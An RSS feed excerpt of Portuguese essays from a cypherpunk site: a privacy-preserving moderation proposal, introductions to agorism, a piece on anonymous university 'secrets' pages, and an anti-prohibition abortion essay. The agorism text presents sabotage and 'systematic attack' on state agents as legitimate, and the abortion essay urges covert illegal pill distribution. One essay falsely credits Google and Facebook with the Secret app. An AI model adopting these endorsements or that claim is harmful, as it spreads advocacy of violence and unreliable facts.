&lt;p>Ao meu ver, um serviço como o WhatsApp poderia contar com a ajuda de um punhado de organizações independentes que querem contribuir para combater conteúdo nocivo online (por exemplo, Wikimedia, EFF, etc.) para atuar como SAs. Os usuários podem selecionar os que desejam usar ou apenas serem escolhidos aleatoriamente. Então, a SA seria responsável por selecionar nós independentes. Isso exigiria um grau de confiança por parte do usuário, mas os usuários do WhatsApp já confiam na plataforma para criptografar seu conteúdo em primeiro lugar. Talvez alguém possa encontrar uma forma de garantir a independência do nó em uma versão totalmente descentralizada de ZKANNs que não requer confiança.&lt;/p>
&lt;p>Se resolvermos esses problemas (e outros, que certamente passaram despercebidos), teremos uma ferramenta poderosa para combater conteúdo nocivo online sem violar a privacidade das pessoas. Eu comentei a ideia com alguns especialistas, e eles acreditam que é novo e promissor, mas eu não posso fazer muito mais com isso da prisão. Espero que alguém lá fora se interesse e corra com isso.&lt;/p>
&lt;p>O que os ZKANN tornam possível é a censura sem a perda de privacidade. Tanto a censura quanto a privacidade são problemáticas se não forem controladas, mas os ZKANNs colocam um contra o outro, atingindo um equilíbrio que nos dá o melhor dos dois mundos. Censura sem privacidade pode levar à perda da liberdade de expressão e à dissidência civilizada. Por outro lado, como vimos, a privacidade sem censura pode levar à proliferação de conteúdos nocivos.&lt;/p>
&lt;p>Sem uma solução técnica, o debate sobre privacidade e criptografia continuará, com ambos os lados assumindo posições cada vez mais polarizadas e extremas. Os defensores da privacidade têm que ignorar o problema do conteúdo ou racionalizar que é apenas um efeito colateral inevitável, superado pelo bem maior da privacidade. Aqueles do outro lado dizem que a perda de privacidade é um pequeno preço a pagar para policiar o conteúdo, ou que apenas os criminosos querem privacidade. Ou será que só os tiranos querem um mundo sem ela?&lt;/p>
&lt;p>Se os ZKANNs puderem ser implantados com sucesso, ambos os lados podem ter seu próprio bolo e comê-lo também. Os argumentos extremos anti e pró-privacidade tornam-se discutíveis. Vamos parar de lutar e abrir um ZKANN.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://freeross.org/zkann/" target="_blank" rel="noopener noreferrer">https://freeross.org/zkann/&lt;/a>
&lt;/p></content:encoded></item><item><title>Uma pequena introdução ao agorismo e ao Samuel Edward Konkin III</title><link>https://cypherpunks.com.br/documentos/uma-pequena-introducao-ao-agorismo-e-sek3/</link><pubDate>Mon, 09 Dec 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/uma-pequena-introducao-ao-agorismo-e-sek3/</guid><description>Konkin desenvolveu uma filosofia política que chamou de agorismo e escreveu três livros defendendo sua ideia, sendo O Manifesto do Novo Libertário sua principal obra.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="herman-shäd">Herman Shäd&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="stuff/konkin-citacao.jpg" src="https://cypherpunks.com.br/stuff/konkin-citacao.jpg" loading="lazy"
width="1200" height="1200"
/>
&lt;/p>
&lt;p>&lt;/p>
&lt;p>Samuel Edward Konkin III, Um Social-Libertário/Libertário de Esquerda nasceu em 1947 na província canadense de Saskatchewan. Konkin desenvolveu uma filosofia política que chamou de agorismo e escreveu três livros defendendo sua ideia, sendo O Manifesto do Novo Libertário sua principal obra. O termo foi usado pela primeira vez no livro An Agorist Primer, do autor mencionado, e deriva da palavra grega “ágora”, que era um local aberto para assembleias e mercado nas antigas cidades-estados gregas. O agorismo é uma vertente do anarquismo de mercado, mas com influências do anarquismo individualista americano e do mutualismo, e se distingue do anarco capitalismo de Rothbard por aceitar a ideia de ocupação e uso, por ter uma diferente visão da legitimidade da propriedade e por ser contra a propriedade intelectual.&lt;/p>
&lt;p>O agorismo seria uma anarquia de livre mercado anticapitalista. Mas anticapitalista na definição mutualista do capitalismo, diferente da definição rothbardiana do termo, reconhecendo também as diferenças terminológicas do termo “propriedade” entre Proudhon e Rothbard. Uma das principais diferenças entre a visão de Rothbard e a de Konkin está na questão da legitimidade da propriedade privada, particularmente da terra, em que o agorismo defende que a propriedade desta é apenas legítima enquanto houver a possibilidade de que seu proprietário faça uso dela, desta forma evitando que seja considerada abandonada.&lt;/p>
&lt;p>Para se chegar ao agorismo (ou qualquer ideia de anarquia de mercado), Neil J. Schulman, outro teórico libertário e amigo de Konkin, defende a contra-economia, definida como a prática de trocas voluntárias proibidas pelo Estado, como sonegação de impostos, contrabando, tráfico, contratação de imigrantes ilegais, evasão fiscal, dentre outras coisas.&lt;/p>
&lt;p>Konkin se opunha ao voto e a todo o sistema político, incluindo o Partido “Libertário”, por considerar a política ilegítima e tentativas de mudança por dentro de sistemas inviáveis e insustentáveis. Acreditava que apenas conseguiríamos acabar com o Estado se houvesse total deslegitimação de suas instituições e de seus agentes por parte suficiente da população.&lt;/p>
&lt;p>Talvez a mais revolucionária das vertentes da anarquia de mercado, o agorismo defende a sabotagem contra as instituições estatais, o ataque sistemático(considerado legítima defesa) contra os agentes de manutenção do Estado (políticos e membros do aparato coercitivo), boicote às empresas corporativistas, desobediência civil e prática da contra-economia para burlar as restrições e regulamentações estatais, o que faria o Estado se tornar insustentável e ruir, retirando também todos os incentivos que alguém teria para querer mantê-lo.&lt;/p></content:encoded></item><item><title>Politizando as Páginas de Segredos Universitários</title><link>https://cypherpunks.com.br/documentos/politizando-as-p%C3%A1ginas-de-segredos-universit%C3%A1rios/</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/politizando-as-p%C3%A1ginas-de-segredos-universit%C3%A1rios/</guid><description>Aprender e ensinar fazem parte da existência humana, histórica e social, como dela fazem parte a criação, a invenção, a linguagem, o amor, o ódio, o espanto, o medo, o desejo, a atração pelo risco, a fé, a dúvida, a curiosidade, a arte, a magia, a ciência, a tecnologia.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Nota do revisor:&lt;/strong> Esse texto é um trabalho sobre liberdade de expressão e anônima de grupos basicamente.&lt;/p>
&lt;h2 id="kael-avila">Kael Avila&lt;/h2>
&lt;p>&lt;/p>
&lt;p>&lt;em>Graphé paranomon&lt;/em> é um termo grego que se referia à responsabilidade dos cidadãos de assumir seus discursos. Qualquer um poderia ser processado e efetivamente julgado por proferir uma proposta ilegal. Como a jurisdição das cidades-estados gregas antigas formaram a base dos estudos de direito, ideias como essa em relação ao anonimato continuaram firme, até então o surgimento da internet. A internet surgiu durante a guerra, porém foi popularizada como um meio de comunicação livre entre hackers, ativistas e acadêmicos, projetado para o não rastreamento de personalidades e uso coletivo. A internet, em si, foi primeiramente moldada exatamente para garantir o anonimato e garantir livre expressão. Porém com o passar do tempo, o “mundo cibernético” foi adquirindo as mesmas características da socialização do mundo real, ou como é chamado na internet, IRL (&lt;em>in real life&lt;/em>), isso inclui a dominação corporativista e o combate ao anonimato. O cibermundo funciona como se tivessem operando duas máquinas ao mesmo tempo, a que provém o anonimato e exclui dados de rastreamento, permitindo a livre expressão, e a que restringe e caça o rastreamento, limita a livre expressão. Um dos resultados dessa batalha foi o aplicativo Secrets, lançado mundialmente em 2015, desenvolvida pela Google e pelo Facebook. O aplicativo marcou a socialização dos &lt;em>GenZ&lt;/em>, prometia identidade nula, onde você postava e todos seus amigos do Facebook poderiam ver e responder também com identidade anulada. O anonimato era garantido e resultado foi traumatizante, durante o tempo de funcionamento no Brasil, grupos minoritários foram humilhados; ideias racistas, sexistas e heterossexistas foram livremente espalhadas sem nenhuma consequência aos ditadores anônimos desses discursos. Apesar do aplicativo fechar, universidades e locais físicos de socialização dos &lt;em>GenZ&lt;/em> continuaram e reinventaram a prática do Secrets e criaram as páginas de Segredos. Essas páginas podem ser autorreguladas ou terem figuras específicas que filtram e moderam os segredos, que são mensagens enviadas em um formulário online que garantem o anonimato dos discursastes, e postam os segredos em páginas e/ou grupos do Facebook.&lt;/p>
&lt;p>Ivan Illich, pedagogo da década de 70, definia o conceito de teia educacional como as relações de socialização do ser humano que o educam, consciente ou inconscientemente. Podemos considerar, por exemplo, o meio universitário como uma teia educacional, com vários indivíduos separados de seu antigo meio de socialização originário e família se relacionando com outras pessoas que passam por processos similares. Podemos considerar, também, as páginas de segredos universitários do Facebook como uma ferramenta para o processo educacional nessa teia universitária. A página de segredos, em suma, foi um espaço que permitiu estes mesmos grupos minoritários, que foram antes humilhados, a educar. Segredos sobre pronomes neutros de tratamento, significado das siglas LGBTQ+, tratamentos respeitosos à mulheres e questões sobre sexualidade e raça são amplamente discutidos nessas páginas. Os segredos que apresentam conteúdo desrespeitoso são amplamente, também, rejeitados pelos curtidores e moderadoes das páginas.&lt;/p>
&lt;p>Paulo Freire, colega e crítico de Ivan Illich, falava sobre a convivência dos dessemelhantes como processo educacional. O autor pós-moderno falava que uma leitura crítica do mundo incluía seu debate. Incluía o dizer de verdades que as classes dominantes tentam esconder. Verdades que incluem mas não se limitam à: mulheres dizendo sobre como se configura uma relação respeitosa; LGBTQ+ dizendo sobre como preferem ser chamados; ativistas do movimento negro ressaltando os processos racistas da sociedade e pessoas que participam do movimento BDSM falando sobre consentimento. Podemos então considerar, para além de um simples processo educacional, os segredos universitários como processos educacionais que reage contra a opressão e educa de forma libertadora. Segundo Freire:&lt;/p>
&lt;blockquote>
&lt;p>Aprender e ensinar fazem parte da existência humana, histórica e social, como dela fazem parte a criação, a invenção, a linguagem, o amor, o ódio, o espanto, o medo, o desejo, a atração pelo risco, a fé, a dúvida, a curiosidade, a arte, a magia, a ciência, a tecnologia.&lt;/p>
&lt;/blockquote>
&lt;p>Freire disserta sobre o conceito de cidade educacional. A cidade educa principalmente porque você convive — e constrói ou desconstrói — ela. Antes de tudo, o ambiente universitário pode se configurar como uma cidade educacional, mas para além disso, o ambiente cibernético que conecta os estudantes de uma universidade também pode se configurar como uma cidade ciber-educacional. A teia educacional cibernética, assim como a página de segredos, os ambientes de redes sociais, grupos de universidade é real, tem consequências psicológicas, educacionais e sociais reais. Parafraseando Paulo Freire¹: O que podemos chamar de calorosamente de &lt;em>ciber&lt;/em>dade, se faz educativa pela necessidade de educar, de apender, de ensinar, de conhecer, de criar, de sonhar, de imaginar que todos nós, mulheres, homens e não-bináries, impregnamos em seus Instagram, seus Spotted, seus grupos, seus RPG, impregnamos nas suas redes sociais, seus Twitter, deixando tudo o selo de certo tempo, o estilo, o gosto de certa época. A ciberdade é cultura, criação, não só do que fazemos nela e dela, pelo que criamos nela e com ela, mas também é cultura pela própria mirada estética ou de espanto, gratuita, que lhe damos. A ciberdade somos nós e nós somos a ciberdade. Mas não podemos esquecer de que o que somos guarda algo que foi e que nos chega pela continuidade histórica de que não podemos escapar, mas sobre que podemos trabalhar, e pelas marcas culturais que herdamos.&lt;/p>
&lt;p>Muito do que falamos sobre os efeitos das páginas de segredos, falamos também de uma educação no mínimo desinstitucionalizada. Ivan Illich definia uma educação escolarizada (ou institucional) aquela que era formada por um currículo, divisão etária e figura autoritária do professor. No caso das páginas de segredos, não há nenhum indício dos três. É feito por alunos, para alunos. A educação ocorre naturalmente quando se surge efeitos de deseducação em algum assunto específico. Se há algo racista, haverá a educação antirracista. Se há algo sexista, haverá a educação feminista. Se há algo hetero-cissexista, haverá a educação queer. A educação, em outras palavras, é fluida e acompanha tanto a discussão quanto a necessidade, e ainda é consciente e direcionada. Quem educa sabe que está educando, e o educando sabe que está sendo educado. A internet oferece a oportunidade do ser humano exercer de maneira mais fácil possível seu poder de libertação.&lt;/p>
&lt;p>A tradição de segredos universitários a dar voz às culturas minoritárias e oprimidas, tornando-as mais comuns e &lt;em>mainstream&lt;/em> se revelam como a mudança da cultura em si. Uma cultura com protagonismo das minorias sociais que revolucionam tanto a sociedade universitária em geral como a cultura e importância das próprias minorias em si. Muito dificilmente, há dez anos atrás, uma pessoa com privilégios sociais, econômicos e raciais poderia se relacionar tão facilmente com o discurso das minorias sociais, econômicas e raciais tão presencialmente como ocorre na difusão dos segredos. Apple dizia que se o saber não liberta, ele justifica servidão. O ensino escolarizado não abre espaço para discursos de minorias pois está ocupado ditando a cultura dominante, alienando e dominando o saber. É um sistema que oprime as culturas à uma só. Apenas uma válida. Daí entra a importância desses espaços de educação coletivos, gratuitos e diversificados: a variação e debate entre culturas diferentes transformam a cultura de um ambiente e tem potencial libertador. Se opondo à definição de educação escolarizada de Apple, a educação para de se definir como adaptação nesses espaços, e se define, por essência, em transformação desses mesmos espaços, criando tanto o ser humano novo, quanto a ciberdade nova. O marginalizado passa de ser marginal, e diferente das tentativas da sociedade de o transformar em servidor do sistema, ele vira, enfim, o educador.&lt;/p>
&lt;blockquote>
&lt;p>“A rebelião de grande parte da juventude atual, contra a escola, talvez radique numa consciência, cada vez mais clara de que o sistema só lhe permite participar da construção do mundo, quando a considerar preparada para fazê-lo nas exatas medidas de seus interesses, isto é, dos interesses dos grupos e classes dominantes. O ensino é, assim, técnica hábil para conformar e uniformizar. Ao contrário do aprendizado como método de liberação e auto-configuração, descobrimento histórico de valores de humanização de invenção do homem novo.” (APPLE, Michael, 1986)&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Referências principais:&lt;/strong>&lt;/p>
&lt;p>APPLE, Michael W. CLASSE, CULTURA E CURRÍCULO. Educação &amp;amp; Realidade, Vol. 11 N° 1. Porto Alegre, RS, Editora da Universidade de Caxias do Sul. p. 19–34, janeiro/junho de 1986.&lt;/p>
&lt;p>FREIRE, Paulo. Educação permanente e as cidades educativas. Política e Educação. São Paulo: Cortez Editora, 7ª edição, 2003.
GONÇALVES E SILVA, Petronilha Beatriz et al. PROCESSOS EDUCATIVOS EM
PRÁTICAS SOCIAIS: REFLEXÕES TEÓRICAS E METODOLÓGICAS SOBRE PESQUISA EDUCACIONAL EM ESPAÇOS SOCIAIS. 32ª Reunião Anual da Anped, 2009. Disponível em: &lt;a href="http://www.anped.org.br/biblioteca/item/processos-educativos-em-praticas-sociais-reflexoesteoricas-e-metodologicas-sobre" target="_blank" rel="noopener noreferrer">http://www.anped.org.br/biblioteca/item/processos-educativos-em-praticas-sociais-reflexoesteoricas-e-metodologicas-sobre&lt;/a>
. Acesso em: 17 nov. 2019.&lt;/p>
&lt;p>ILLICH, Ivan. Sociedade sem escolas. Petrópolis, RJ. Editora Vozes. 7 ed. 1985.&lt;/p>
&lt;p>KUNDE, Bárbara Michele Morais; REIS, Jorge Renato dos. APLICATIVO SECRET: SOMOS TODOS INVISÍVEIS? UM OLHAR CONSTITUCIONAL SOBRE O DIÁLOGO ENTRE ANONIMATO E LIBERDADE DE EXPRESSÃO NO AMBIENTE VIRTUAL. Revista Eletrônica do Curso de Direito da UFSM, Santa Maria, RS, v. 11, n. 1, p. 226–248, jun. 2016. Disponível em: &lt;a href="https://periodicos.ufsm.br/revistadireito/article/view/20731" target="_blank" rel="noopener noreferrer">https://periodicos.ufsm.br/revistadireito/article/view/20731&lt;/a>
.&lt;/p>
&lt;p>SILVEIRA, Sérgio Amadeu da. Comunicação &amp;amp; Sociedade. Redes cibernéticas e tecnologias do anonimato, Grupo de Trabalho “Comunicação e Cibercultura”, do XVIII Encontro da Compós, na PUC-MG, Belo Horizonte, MG, p. 113–134, junho 2009. Disponível em: &lt;a href="https://www.metodista.br/revistas/revistas-metodista/index.php/CSO/article/view/856/907" target="_blank" rel="noopener noreferrer">https://www.metodista.br/revistas/revistas-metodista/index.php/CSO/article/view/856/907&lt;/a>
.&lt;/p></content:encoded></item><item><title>A Proibição Ainda Não Funciona</title><link>https://cypherpunks.com.br/documentos/a-proibicao-nao-funciona/</link><pubDate>Thu, 28 Mar 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-proibicao-nao-funciona/</guid><description>Como a era da proibição do álcool, a guerra contra as drogas em curso, a proibição do trabalho sexual ou qualquer outra medida semelhante mostraram, a proibição é inadequada, na melhor das hipóteses, para resolver esses problemas e, na pior, geralmente os agrava. A proibição do álcool levou a criação de bares clandestinos e a distribuição …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Alabama, Geórgia, Texas, Ohio, Kentucky, Mississippi e Missouri foram todos criticados recentemente por sua aprovação de várias leis anti-aborto — extremamente restritivas e possivelmente inconstitucionais. O objetivo de tais leis — afirma-se — é coibir as taxas de aborto, preferencialmente a zero. O problema é, entretanto, que a proibição nunca funcionou para atingir tais objetivos. Mesmo se alguém for pró-vida ou desejar reduzir as taxas de aborto, isso não muda o fato fundamental de que criminalizar o aborto apenas leva a um aumento de abortos inseguros, em vez de reduzir as taxas gerais.&lt;/p>
&lt;p>Como a era da proibição do álcool, a guerra contra as drogas em curso, a proibição do trabalho sexual ou qualquer outra medida semelhante mostraram, a proibição é inadequada, na melhor das hipóteses, para resolver esses problemas e, na pior, geralmente os agrava. A proibição do álcool levou a criação de bares clandestinos e a distribuição por contrabandistas, onde era preciso assumir riscos extras e se associar a personagens “duvidosos” para desfrutar de algo que antes era consumido em situações relativamente inofensivas. A proibição significava que esforços educacionais não eram realizados para ensinar as pessoas a beber com responsabilidade, portanto, aqueles que consumiam ilegalmente eram menos instruídos sobre como lidar com o álcool com segurança. Como você pode imaginar, isso provavelmente afetou tudo, desde dirigir embriagado até o consentimento.&lt;/p>
&lt;p>A proibição das drogas levou não apenas ao encarceramento em massa, mas também dissuadiu as pessoas de buscarem tratamento por medo de retaliação. A guerra às drogas separou famílias e causou inúmeras mortes. A solução libertária sempre foi descriminalizar todas as drogas e focar na educação, no tratamento e na redução de danos. Só porque os libertários percebem os danos que a proibição das drogas causa não significa que todo libertário seja moralmente a favor das drogas. Na verdade, os libertários podem ser pessoalmente abstinentes, ou mesmo adversos inteiramente às drogas e à cultura das drogas, embora reconheçam que a guerra às drogas faz pouco ou nada para reduzir as taxas de uso de entorpecentes e tem várias consequências negativas que superam qualquer ganho positivo.&lt;/p>
&lt;p>A proibição do trabalho sexual também não fez nada para extinguir o mercado. Tudo o que fez foi tornar o mercado muito mais perigoso para as trabalhadoras do sexo. A censura na Internet tirou alguns dos melhores recursos de publicidade e triagem da década anterior, enquanto o status de criminoso impede que as profissionais do sexo relatem abusos de clientes ou cafetões. A descriminalização permitiria mais fundamentos para autodefesa, o direito de sindicalização, assistência médica às funcionárias e muito mais. É tudo uma questão de redução de danos.&lt;/p>
&lt;p>A mesma abordagem de redução de danos pode ser aplicada à questão do aborto. Mesmo se alguém realmente acreditar que a vida começa na concepção, é difícil considerar a proibição uma solução eficaz de uma perspectiva libertária. Certamente, leis tão expansivas como as recentemente aprovadas no Alabama e Geórgia não podem ser consideradas libertárias, pois usam o sistema de encarceramento em massa como um dissuasor, até mesmo visando e perseguindo aqueles que lidam com a tragédia do aborto espontâneo, ao mesmo tempo, em que não fazem nada para atacar a raiz do problema.&lt;/p>
&lt;p>A proibição do aborto não tem se mostrado eficaz no combate às taxas de aborto, mas parece levar a um aumento nos métodos de aborto ilegais e potencialmente inseguros. Seja pedindo pílulas abortivas ilegalmente pelo correio, usando abortivos à base de ervas, ou meios muito menos seguros e mais violentos, como abortos em cabides, drogas e automutilação. Isso não apenas coloca a criança em risco, mas também coloca as mães em um risco muito maior de ferimentos ou morte. Se o objetivo é verdadeiramente ser pró-vida, então defender uma situação que coloque mães e filhos em mais perigo, a fim de combater um sistema que apenas coloca a criança em perigo, parece contraproducente.&lt;/p>
&lt;p>Se pretendemos realmente reduzir as taxas de aborto, em vez de apenas sinalizar virtudes através de medidas legislativas ineficazes e contraproducentes, devemos nos concentrar nas causas básicas de muitos abortos. Isso inclui fatores como pobreza, violência doméstica, estupro, falta de recursos, falta de educação sexual, falta de alternativas funcionais, etc. Com isso em mente, as soluções começam a parecer muito diferentes. De repente, lutando por coisas como licença maternidade, redes de segurança social adequadas, um salário digno, moradia acessível, acesso a cuidados de saúde, um sistema educacional melhor e creches acessíveis, adoção mais funcional e acessível, educação sexual honesta e aberta, acesso a métodos eficazes de controle de natalidade e o fim da cultura do estupro tornam-se preocupações muito maiores.&lt;/p>
&lt;p>Claro, essas soluções não precisam vir do estado. Libertários e anarquistas de todos os matizes trabalham em soluções para esta questão por décadas a partir de uma postura antiproibicionista, alguns sendo bastante pró-vida em suas crenças. Dois desses exemplos seriam os expulsionistas e a própria fundadora da Planned Parenthood, Margaret Sanger.&lt;/p>
&lt;p>Expulsionismo é uma teoria moral libertária sobre o aborto, baseada nos direitos de propriedade lockeanos, criada e desenvolvida por Walter Block e Roy Whitehead. Os expulsionistas têm uma abordagem única, pois acreditam que a vida começa na concepção, mas também acreditam na autonomia corporal e, portanto, dividem o aborto em duas questões distintas: 1) a expulsão do feto do útero e 2) a morte do feto. Seguindo as posições tradicionais dos libertários contra invasão e assassinato, é lógico que tal libertário seria tanto a favor do direito à autonomia corporal da pessoa grávida quanto contra a morte do feto.&lt;/p>
&lt;p>Os expulsionistas, portanto, propõem um sistema de “apropriação” onde aqueles que desejam interromper sua gravidez possa anunciar a custódia do feto e permitir que outros se ofereçam para cuidar da criança em desenvolvimento. Se não encontrar alguém disposto a “apropriar-se” da criança, a pessoa pode recorrer ao aborto como alternativa. A diferença entre esse método e o da adoção tradicional é que ele promove o uso de tecnologia médica avançada para aumentar as chances de viabilidade fora do útero em estágios muito anteriores de desenvolvimento, o que significa que se pode potencialmente expulsar um feto sem matá-lo. Isso seria visto pelos expulsionistas como preferível ao aborto quando disponível e com os avanços nos cuidados neonatais nas últimas décadas, o que está levando a uma diminuição no limite inferior de viabilidade (que já está em cerca de 5 meses gestacional), isso está se tornando cada vez mais disponível como uma opção.&lt;/p>
&lt;p>Outra opção vem da infame ativista pelo controle de natalidade Margaret Sanger. Embora alguns mitos tenham flutuado sobre seus laços com a promoção da eugenia, ela foi uma antifascista ao longo de sua vida e, embora muitos possam não saber, foi até uma anarquista ávida. Embora ela pudesse ser vista saindo com gente como Emma Goldman ou escrevendo publicações como &lt;em>The Woman Rebel&lt;/em>(cujo slogan era “Sem Deuses, Sem Mestres”), pode surpreender alguns, ainda mais, saber que suas motivações para defender o controle da natalidade e a educação sexual eram muito pró-vida. Ao longo de seu ativismo inicial, ela tornou conhecida sua posição contra o aborto, até mesmo defendendo o controle da natalidade como uma forma de conter as taxas de aborto com slogans pró-vida como “Não mate, não tire a vida, mas previna”, e até mesmo alertando os pacientes: “Aquele aborto foi um erro — não importa o quão cedo ele foi feito estava tirando vidas; que a contracepção era o melhor método, o método mais seguro — levaria um pouco de tempo, um pouco de trabalho, mas valeria a pena a longo prazo, porque a vida ainda não teria começado”.&lt;/p>
&lt;p>Mesmo enquanto lutava pelo acesso a métodos de aborto legais e seguros, Sanger continuou sua cruzada para conter a gravidez indesejada e as taxas de aborto através de educação sexual e acesso ao controle de natalidade. Infelizmente, no contexto moderno de hoje, é duvidoso que você ouça a Planned Parenthood inclinar-se para esse lado da política de Sanger, apesar de ser uma forma de construir pontes potenciais entre ela e as feministas pró-vida que podem também ser céticas em relação à proibição.&lt;/p>
&lt;p>Grupos como &lt;em>New Wave Feminists&lt;/em> e &lt;em>In Defense of Life&lt;/em> já adotam uma abordagem semelhante. Ambos misturam uma perspectiva feminista interseccional moderna sobre justiça social com a Ética de Vida Consistente mais tradicional adotada, por exemplo, pela Igreja Católica e outros defensores da justiça social, embora permanecendo firmemente contra a proibição. As Feministas da Nova Onda não “trabalham para tornar o aborto ilegal. [Elas] trabalham para torná-lo impensável e desnecessário. E [elas] fazem isso chegando à raiz da necessidade de fazê-lo. ” Grupos como &lt;em>Feminists for Life&lt;/em>, Susan B. Anthony List e &lt;em>Feminists for Nonviolent Choices&lt;/em>, por outro lado, tendem a se inclinar para as causas do aborto, enquanto continuam a defender a proibição e se beneficiariam de uma interação mais aberta com libertários pró-vida de convicção anti-proibição para empurrá-las para soluções mais holísticas.&lt;/p>
&lt;p>Essas soluções podem ser encontradas apoiando um forte movimento sindical de base que pode lutar por saúde, licença maternidade e um salário mínimo, lutando contra o preconceito em programas de adoção privados para dar às crianças uma chance melhor de encontrar uma família amorosa, abolindo os Serviços de Proteção à Criança em favor de um sistema de Agências de Acomodação Infantil de base, construindo e participando de redes comunitárias de ajuda mútua para ajudar as pessoas com creches, alimentos, suprimentos para bebês, moradia e outras despesas diárias e de emergência, fornecendo acesso a métodos eficazes de controle de natalidade e capacitando indivíduos ensinando-os consentimento e educação sexual honesta e inclusiva.&lt;/p>
&lt;p>Podemos debater sobre a moral religiosa da atividade sexual e podemos até encorajar nossos filhos e outras pessoas a adotarem nossa moral sexual, mas, do ponto de vista puramente de redução de danos, a honestidade ainda é a melhor política quando se trata de educação sexual. Ensinar os indivíduos a estarem seguros ao se engajar na atividade sexual não é o mesmo que encorajar a atividade sexual e pode-se fornecer educação sexual honesta e aberta enquanto ainda avisa as crianças contra o envolvimento em tais atividades até que estejam mais velhas ou em um relacionamento saudável e/ou comprometidos. E embora o controle da natalidade possa ser um assunto delicado para algumas pessoas religiosas, precisamos lembrar que é uma decisão médica e religiosa individual e, portanto, não deve ser regulamentada legislativamente.&lt;/p>
&lt;p>No que diz respeito a responder às leis de proibição, nosso primeiro objetivo deve ser fornecer acesso seguro aos métodos de aborto. Felizmente, a tecnologia e o conhecimento científico avançaram muito ao longo dos anos e, portanto, é muito mais fácil obter um aborto seguro, mesmo enquanto eles permanecem ilegais. Embora a obtenção de um aborto ilegal possa aumentar o risco de ser submetido à violência da polícia e dos sistemas penitenciários, não precisa mais representar um risco maior para a saúde.&lt;/p>
&lt;p>Como Beau da &lt;em>Quinta Coluna&lt;/em> aponta, muitos abortos hoje em dia são induzidos por medicação oral. Mesmo quando essas pílulas são proibidas para fins de aborto, por se tratarem de medicamentos multiuso, continuarão disponíveis para outras necessidades. Isso abre a porta para o agorista ou contra-economista mais experiente acessar tais pílulas, apenas para redistribuí-las aos necessitados. Se alguém deseja ser ainda mais profissional com essa categoria de empreendimento, as máquinas de ultrassonografia estão facilmente disponíveis on-line por apenas algumas centenas de dólares. Seja através de médicos e enfermeiras profissionais que prestam esses serviços em segredo para clientes necessitados, ou cidadãos preocupados pesquisando e treinando para fornecer o melhor atendimento possível, precisamos pressionar por esse tipo de acesso seguro como meio de reduzir as taxas de mortalidade causadas por abortos inseguros que tendem a aumentar sob a proibição.&lt;/p>
&lt;p>Embora grupos como New Wave Feminists e In Defense of Life sejam um começo, ainda precisamos de vozes mais radicalmente libertárias se interpondo na conversa em uma tentativa de afastar os pró-vida da proibição como solução. Precisamos dos esforços dos agoristas provedores de aborto para ajudar a reduzir as taxas de mortalidade causadas por abortos ilegais inseguros. Precisamos dos esforços dos cientistas e profissionais médicos que trabalham para aumentar a taxa de viabilidade de fetos nascidos prematuramente. Seja pró-vida ou pró-escolha, deve-se conseguir encontrar um terreno comum na luta contra a proibição e na luta contra a cultura do estupro, a pobreza e a educação sexual inadequada. É apenas uma questão de fazer as pessoas perceberem como esses problemas se cruzam.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/52130" target="_blank" rel="noopener noreferrer">Prohibition Still Doesn’t Work&lt;/a>
&lt;/p></content:encoded></item><item><title>Agorismo do Mercado Verde</title><link>https://cypherpunks.com.br/documentos/agorismo-de-mercado-verde/</link><pubDate>Tue, 19 Mar 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/agorismo-de-mercado-verde/</guid><description>A teoria agorista foi muito enriquecida desde que Samuel Edward Konkin III introduziu a teoria inicial. Por meio dos escritos e do trabalho de visionários como Karl Hess, Ross Ulbricht, Satoshi Nakamoto, Defense Distributed e Derrick Broze, vimos o agorismo crescer e se expandir de maneiras nunca imaginadas possíveis, tanto …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="agorismo-do-mercado-verde">Agorismo do Mercado Verde&lt;/h1>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>&lt;/p>
&lt;p>A teoria agorista foi muito enriquecida desde que Samuel Edward Konkin III introduziu a teoria inicial. Por meio dos escritos e do trabalho de visionários como Karl Hess, Ross Ulbricht, Satoshi Nakamoto, Defense Distributed e Derrick Broze, vimos o agorismo crescer e se expandir de maneiras nunca imaginadas possíveis, tanto intelectualmente quanto na prática. E a prática continuará a crescer e se adaptar conforme o tempo passa, as circunstâncias mudam, novas tecnologias surgem, etc., como deve ser.&lt;/p>
&lt;p>Enquanto Samuel Konkin se concentrava especificamente nos mercados negro e cinza, Hess se concentrava em localização, tecnologia apropriada e sustentabilidade. Broze expandiu isso nos últimos anos, referindo-se aos conceitos de agorismo horizontal e vertical. O agorismo horizontal é o agorismo ilegalista konkiniano tradicional que todos conhecemos e amamos. Isso inclui greves de impostos, tráfico de drogas, trabalho sexual, tráfico de armas, contrabando de muamba, ocultação de imigrantes indocumentados, etc. O agorismo vertical é tipicamente mais focado em mercados brancos e cinzas e inclui coisas como mercados de fazendeiros, cooperativas de trabalhadores, tecnologia ambiental, organização de trabalho de base, etc.&lt;/p>
